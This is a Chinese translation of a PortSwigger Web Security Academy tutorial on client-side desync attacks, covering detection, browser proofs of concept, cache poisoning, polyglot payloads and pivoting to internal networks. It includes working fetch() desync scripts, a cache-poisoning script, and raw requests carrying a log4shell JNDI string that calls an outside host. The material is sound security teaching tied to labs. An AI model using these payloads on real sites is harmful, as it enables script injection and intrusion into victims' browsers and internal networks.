# 客户端异步攻击

典型的异步或请求走私攻击依赖于故意构造的异常请求，而这些请求普通的浏览器根本不会发送。这将这些攻击限制在使用前端/后端架构的网站上。然而，正如我们从CL.0攻击中学到的，使用浏览器完全兼容的HTTP/1.1请求也有可能造成异步现象。这不仅为服务器端请求走私打开了新的可能性，而且还带来了一种全新的威胁类型——客户端异步攻击。

> **PortSwigger Research**
>
> 本节中的材料和实验基于PortSwigger Research的《[浏览器驱动的异步攻击：HTTP请求走私的新前沿](https://portswigger.net/research/browser-powered-desync-attacks)》。

## 什么是客户端异步攻击？

客户端异步（CSD）是一种攻击，它使受害者的Web浏览器与易受攻击的网站的连接不同步。与常规的请求走私攻击进行对比，客户端异步攻击会使前端和后端服务器之间的连接不同步。

![](https://2165487371-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfahSMMYUzmqmE8SfCaax%2Fuploads%2Fgit-blob-5c9c0ccfe64b7be30730878b039c1dc69efd175f%2Fclient-side-desync.jpg?alt=media)

Web服务器有时会被鼓励在不读取请求正文的情况下对`POST`请求做出响应。如果它们随后允许浏览器为其他请求复用同一连接，那么就会出现客户端异步漏洞。

用高级术语来说，一个CSD攻击包括以下阶段：

1. 受害者访问一个包含恶意JavaScript的任意域上的网页。
2. JavaScript使受害者的浏览器向易受攻击的网站发出请求。在其正文中包含一个攻击者控制的请求前缀，就像一个正常的请求走私攻击。
3. 在服务器对初始请求做出响应后，恶意前缀会留在服务器的TCP/TLS套接字上，从而使服务器与浏览器的连接不同步。
4. 然后，JavaScript在被毒化的连接上触发一个后续请求。这会附加到恶意前缀上，从服务器上引出一个有害的响应。

由于这些攻击不依赖于两个服务器之间的解析差异，意味着即使是单服务器网站也可能容易受到攻击。

> **注意**
>
> 要使这些攻击起作用，需要注意的是目标Web服务器不得支持HTTP/2。客户端异步依赖于HTTP/1.1连接复用，而浏览器通常更倾向于使用HTTP/2。
>
> 这个规则的一个例外是，如果你怀疑你的预期受害者将通过只支持HTTP/1.1的转发代理访问网站。

## 测试客户端异步漏洞

由于依赖浏览器来进行攻击会增加复杂性，所以在测试客户端异步漏洞时，保持有条不紊非常重要。尽管有时你可能很想跳过某些步骤，但我们建议按照以下的工作流程进行。这可以确保你对每个阶段攻击元素的假设进行确认。

1. 在Burp中探测可能的异步载体。
2. 在Burp中确认异步载体。
3. 构建一个概念验证以复制浏览器中的行为。
4. 确认一个可利用的gadget。
5. 在Burp中构造一个有效的利用。
6. 在你的浏览器中复制利用。

Burp Scanner和[HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646)扩展可以帮助你自动化这个过程的大部分，但了解如何手动执行这些步骤对于加深你对其工作原理的理解是有益的。

### **探测客户端异步载体**

测试客户端异步漏洞的第一步是确定或构造一个请求，使服务器忽略`Content-Length`标头。最简单的探测方法是发送一个请求，其中指定的`Content-Length`比实际正文更长：

* 如果请求只是挂起或超时，这表明服务器正在等待标头所承诺的剩余字节。
* 如果立即得到一个回应，你可能已经找到了一个CSD载体。这值得进一步调查。

和CL.0漏洞一样，我们发现最可能的候选者是不期望收到`POST`请求的端点，如静态文件或服务器级别的重定向。

或者，你也可能通过触发服务器错误来引发这种行为。在这种情况下，记住仍然需要一个浏览器会跨域发送的请求。实践上，这意味着只能篡改URL、正文，以及一些零碎的东西，如`Referer`标头和`Content-Type`标头的后部分。

```http
Referer: https://evil-user.net/?%00
Content-Type: application/x-www-form-urlencoded; charset=null, boundary=x
```

你也可以通过试图导航到Web根目录之上来触发服务器错误。请记住，浏览器会规范化路径，因此需要对遍历序列的字符进行URL编码：

```http
GET /%2e%2e%2f HTTP/1.1
```

### **在Burp中确认异步载体**

需要注意的是，一些安全的服务器会在不等待正文的情况下做出响应，但是当正文到达时仍然会正确解析它。其他服务器不正确处理`Content-Length`，但在响应后立即关闭连接，使它们无法被利用。

为了排除这些情况，请尝试在同一连接下发送两个请求，看看是否能够使用第一个请求的正文来影响第二个请求的响应，就像你在探测CL.0请求走私时所做的那样。

### **在浏览器中构建一个概念验证**

一旦使用Burp确定了一个合适的载体，就需要确认你能在浏览器中复制这个异步。

> **浏览器要求**
>
> 为了减少任何干扰的可能性，并确保你的测试尽可能地模拟任意受害者的浏览器：
>
> * 使用**不**通过Burp Suite代理流量的浏览器——使用任何HTTP代理都可能对攻击的成功产生重大影响。我们推荐使用Chrome，因为它的开发者工具提供了一些有用的故障排除功能。
> * 禁用任何浏览器扩展。

1. 转到你计划对受害者发起攻击的站点。该站必须与易受攻击的站点位于不同的域，并且可以通过HTTPS访问。对于我们的实验，你可以使用提供的利用服务器。
2. 打开浏览器的开发者工具，转到**Network**选项卡。
3. 进行以下调整：

   * 选择**Preserve log**选项。
   * 右键单击标头并启用**Connection ID**列。

   这样可以确保浏览器发送的每个请求都记录在**Network**选项卡上，包括它使用的连接的详细信息。这有助于后期对任何问题进行故障排除。
4. 切换到**Console**选项卡，使用`fetch()`复制你在Burp中测试的异步探测。代码应该看起来像这样：

```javascript
fetch('https://vulnerable-website.com/vulnerable-endpoint', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', // malicious prefix
    mode: 'no-cors', // ensures the connection ID is visible on the Network tab
    credentials: 'include' // poisons the "with-cookies" connection pool
}).then(() => {
    location = 'https://vulnerable-website.com/' // uses the poisoned connection
})
```

除了指定`POST`方法和在正文中添加我们的恶意前缀，注意我们设置了以下选项：

* `mode: 'no-cors'`——这确保每个请求的连接ID在**Network**选项卡上可见，有助于进行故障排除。
* `credentials: 'include'`——浏览器通常为带有cookies的请求和没有cookies的请求使用不同的连接池。这个选项可确保你投毒“with-cookies”池，对于大多数利用来说这都是必要的。

当运行这个命令时，你应该在**Network**选项卡上看到两个请求。第一个请求应该接收到通常的响应。如果第二个请求接收到恶意前缀的响应（在本例中是一个404），则这证实你已经成功地从浏览器触发了一个异步。

### **处理重定向**

正如我们已经提到的，触发服务器级重定向的端点的请求是客户端异步的一个常见载体。在构建利用时，这带来了一个小难题，因为浏览器会跟随这个重定向，从而破坏攻击序列。幸运的是，有一个简单的解决办法。

通过为初始请求设置`mode: 'cors'`选项，你可以故意触发一个CORS错误，从而阻止浏览器跟随重定向。然后，你可以通过调用`catch()`而不是`then()`来恢复攻击序列。例如：

```javascript
fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    location = 'https://vulnerable-website.com/'
})
```

这种方法的缺点是你将无法在**Network**选项卡上看到连接ID，这可能会使故障排除更加困难。

## 利用客户端异步漏洞

一旦找到一个合适的载体并确认可以在浏览器中成功地引发异步，你就可以开始寻找可利用的gadget了。

### **经典攻击的客户端变种**

你可以使用这些技术来执行许多与服务器端请求走私相同的攻击。需要做的就是让受害者访问一个恶意网站，该网站会导致他们的浏览器发起攻击。

> **LAB**
>
> [客户端异步](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync)

### **客户端缓存投毒**

我们之前已经介绍过，可以使用服务器端异步将一个站内重定向转变为一个开放重定向，从而劫持一个JavaScript资源导入。你可以仅使用客户端异步来达到同样的效果，但是要在正确的时间点毒化正确的连接可能会比较棘手。使用异步毒化浏览器的缓存会容易得多。这样，你就不需要担心它使用哪个连接来加载资源。

在这一部分，我们将指导你完成构造这个攻击的过程。这涉及以下的高级步骤：

1. 确定一个合适的CSD载体并使浏览器的连接异步。
2. 使用异步的连接通过一个重定向毒化缓存。
3. 从目标域触发资源导入。
4. 交付一个payload。

> **Note**
>
> **注意**
>
> 在浏览器中测试这个攻击时，请确保在每次尝试之间清除你的缓存（**Settings > Clear browsing data > Cached images and files**)。

#### **通过重定向毒化缓存**

一旦找到了一个CSD载体并确认可以在浏览器中复制它，你就需要确定一个合适的重定向gadget。之后，毒化缓存就相当简单了。

首先，调整你的概念验证，以便走私的前缀将触发一个重定向，将流量导向你托管恶意载荷的域。接下来，将后续请求更改为直接请求目标JavaScript文件。

最后的代码应该看起来像这样：

```html
<script>
    fetch('https://vulnerable-website.com/desync-vector', {
        method: 'POST',
        body: 'GET /redirect-me HTTP/1.1\r\nFoo: x',
        credentials: 'include',
        mode: 'no-cors'
    }).then(() => {
        location = 'https://vulnerable-website.com/resources/target.js'
    })
</script>
```

这将会毒化缓存，尽管会导致无限重定向回到你的脚本。你可以通过在浏览器中查看脚本并研究开发者工具中的**Network**选项卡来确认这一点。

> **注意**
>
> 你需要通过一个顶级导航到目标域来触发后续请求。由于浏览器对其缓存进行分区的方式，使用`fetch()`发出跨域请求将会毒化错误的缓存。

#### **触发资源导入**

将你的受害者引入一个无限循环可能会轻微地烦扰他们，但这不算什么攻击。现在需要进一步开发你的脚本，以便在浏览器返回时，已经毒化了其缓存，它将被导航到易受攻击的网站的一个页面，该页面将触发资源导入。这可以通过使用条件语句来实现，根据浏览器窗口是否已经查看过你的脚本来执行不同的代码。

当浏览器试图在目标网站上导入资源时，它将使用其已毒化的缓存条目，并再次被重定向回到你的恶意页面。

#### **交付一个payload**

在此阶段，你已经为攻击打下了基础，但最后的挑战是如何交付一个可能有害的payload。

最初，受害者的浏览器将你的恶意页面加载为HTML，并在你自己的域环境中执行嵌套的JavaScript。当它最终试图在目标域上导入JavaScript资源并被重定向到你的恶意页面时，你会注意到脚本并未执行。这是因为当浏览器需要JavaScript时，你仍在提供 HTML。

对于实际的利用，你需要一种方式，从同一端点提供纯JavaScript，同时确保这只在最后阶段执行，以避免干扰设置请求。

一种可能的方法是通过在JavaScript注释中包装HTML来创建一个polyglot payload：

```html
alert(1);
/*
<script>
    fetch( ... )
</script>
*/
```

当浏览器将页面加载为HTML时，它只会执行`<script>`标签中的JavaScript。而当它最终在JavaScript上下文中加载页面时，它只会执行`alert()` payload，并将其余的内容视为任意开发者的注释。

> **LAB**
>
> [通过客户端异步进行浏览器缓存投毒](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-browser-cache-poisoning-via-client-side-desync)

有关我们是如何在野外发现此漏洞的更多信息，请查看PortSwigger Research的《[浏览器驱动的异步攻击：HTTP请求走私的新前沿](https://portswigger.net/research/browser-powered-desync-attacks#cisco)》。

### **对内部基础设施的旋转攻击**

大多数服务器端异步攻击涉及以一种只有使用像Burp Repeater这样的工具才可能的方式操纵HTTP头。例如，你不能让某人的浏览器在`User-Agent`标头中发送带有log4shell payload的请求：

```http
GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}
```

这意味着这些攻击通常仅限于你可以直接访问的网站。然而，如果网站容易受到客户端异步的攻击，你可能能够通过诱使受害者的浏览器发送以下请求来达到所需的效果：

```http
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
User-Agent: Mozilla/5.0 etc.
Content-Length: 86

GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}
```

由于所有的请求都来自于受害者的浏览器，这可能使你能够对他们能够访问的任何网站进行旋转攻击。包括位于受信任内网的站点，或者隐藏在基于IP的限制之后的站点。一些浏览器正在为这些类型的攻击制定缓解措施，但这些措施可能只涵盖部分内容。

## 如何防止客户端异步漏洞

关于你可以采取的一些高级措施，以防止客户端异步漏洞和其他形式的异步攻击，请参阅[如何防止HTTP请求走私漏洞](https://github.com/0xf4n9x/Web_Security_Academy-zh/blob/master/advanced/request-smuggling/request-smuggling.md#%E5%A6%82%E4%BD%95%E9%98%B2%E6%AD%A2HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81%E6%BC%8F%E6%B4%9E)。

> **接下来做什么？**
>
> 你已经了解了CL.0和CSD攻击，但还有一个潜在的异步载体，它可以在最初看似安全的网站上实现服务器端和客户端漏洞利用。要了解更多信息，请查看[基于暂停的异步漏洞](https://web-sec.gitbook.io/wsa/advanced/request-smuggling/browser/pause-based-desync)LABS。
